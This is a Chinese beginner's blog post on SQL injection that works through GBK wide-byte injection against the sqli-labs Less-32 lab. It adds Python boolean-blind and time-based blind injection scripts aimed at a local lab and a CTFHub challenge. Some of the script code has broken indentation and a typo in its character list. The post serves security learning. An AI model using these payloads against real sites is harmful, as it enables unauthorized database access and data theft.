萌新学习sql注入4

宽字节注入

先列举一下基本的url编码

明文url编码
空格%20
%27
#%23
\%5c

addslashes函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

  1. 单引号(’)
  2. 双引号(")
  3. 反斜杠(\)
  4. NULL

如何从addslashes函数中逃逸出来:
一:在\前面再加一个 \ (或单数个),变成\\’ ,这样\就被转义了,‘逃出了限制
二:把\弄没,在mysql使用GBK编码的时候,会认为两个字符是一个汉字(前面一个ASCII码要大于128,才到达汉字的范围)
汉字为两个字符
在这里插入图片描述
\'的编码为%5c%27
在这里插入图片描述
我们在 ’ 前加%df后变为%df\’
即为%df%5c%27,进行GBK解码后为
在这里插入图片描述
变为了運’,成功绕过了。

进行实验

实验环境:sqlilabs-less-32
在这里插入图片描述
本地搭建的靶机关于宽字节注入的题莫名其妙不能用了,又到虚拟机搭建了sqli-labs,花了一段时间。哭了
开始进行测试了!!!

?id=1%27--+

在这里插入图片描述
发现是用了addslashes() 函数,使用%df试试

?id=1%df%27--+

在这里插入图片描述
说明是GBK编码,可以注入了。

?id=-1%df%27 union select 1,2,3--+

在这里插入图片描述
用union联合注入即可,后面有一点要注意,就是where table_name=’ '的单引号不能使用,要使用另一种方法:十六进制

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

在这里插入图片描述

脚本编写

学习写python脚本了,sqlmap并不是万能的,学习了一上午,发现requests库的知识太多了,慢慢来吧
实验环境:sqlilabs-less-8
先写最简单的布尔盲注的脚本,首先需要python的requests库,pip下载即可

import requests

dic = 'abcdefghijklmnopqrstuvwsyz'

database = ''

for x in xrange(1,10):
    for i in dic:
        url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),%d,1)='%c'--+" %(x,i)
        try:
            response = requests.get(url,timeout = 5)
            if  response.content.find('You are in...........') != -1:
                database = database + i
                print database
                break
        except Exception,e:
            pass

print database

在这里插入图片描述
最主要的是这个判断,若找到You are in…就不为-1,执行下面语句。若没有找到就为-1,不执行if语句。

if  response.content.find('You are in...........') != -1:

接下来更改url句子即可

url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1)='%c'--+" %(x,i)

limit 0,1也可用一层循环,我这里就不在演示了。总之python脚本使用起来更加灵活,还是应该好好写一写的。

补充一下时间盲注的脚本: 我当时在做ctfhub时的脚本

# coding:utf-8
import requests
import datetime
import time
# 获取长度
 def database_len():
     for i in range(1, 10):
         url = "http://challenge-658030cd43d1aad1.sandbox.ctfhub.com:10080/"
         payload = "?id=1 and if(length(database())>%d,sleep(3),0)" %i
         # print(url+payload+'%23')
         time1 = datetime.datetime.now()
         r = requests.get(url + payload + '%23')
         time2 = datetime.datetime.now()
         sec = (time2 - time1).seconds
         if sec >= 3:
             print(i)
         else:
             print("no")
             break
     print('database_len:', i)


 database_len()

# 获取数据库名
 def database_name():
     name = ''
     for j in range(1, 9):
              for n in '0123456789abcdefghijklmnopqrstuvwxyz':
             url = "http://challenge-658030cd43d1aad1.sandbox.ctfhub.com:10080/"
             payload = "?id=1 and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, n)
             # print(url+payload+'%23')
             time1 = datetime.datetime.now()
             r = requests.get(url + payload + '%23')
             time2 = datetime.datetime.now()
             sec = (time2 - time1).seconds
                 if sec >= 2:
                 name += n
                 print(name)
                 break
     print('database_name:', name)


 database_name()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值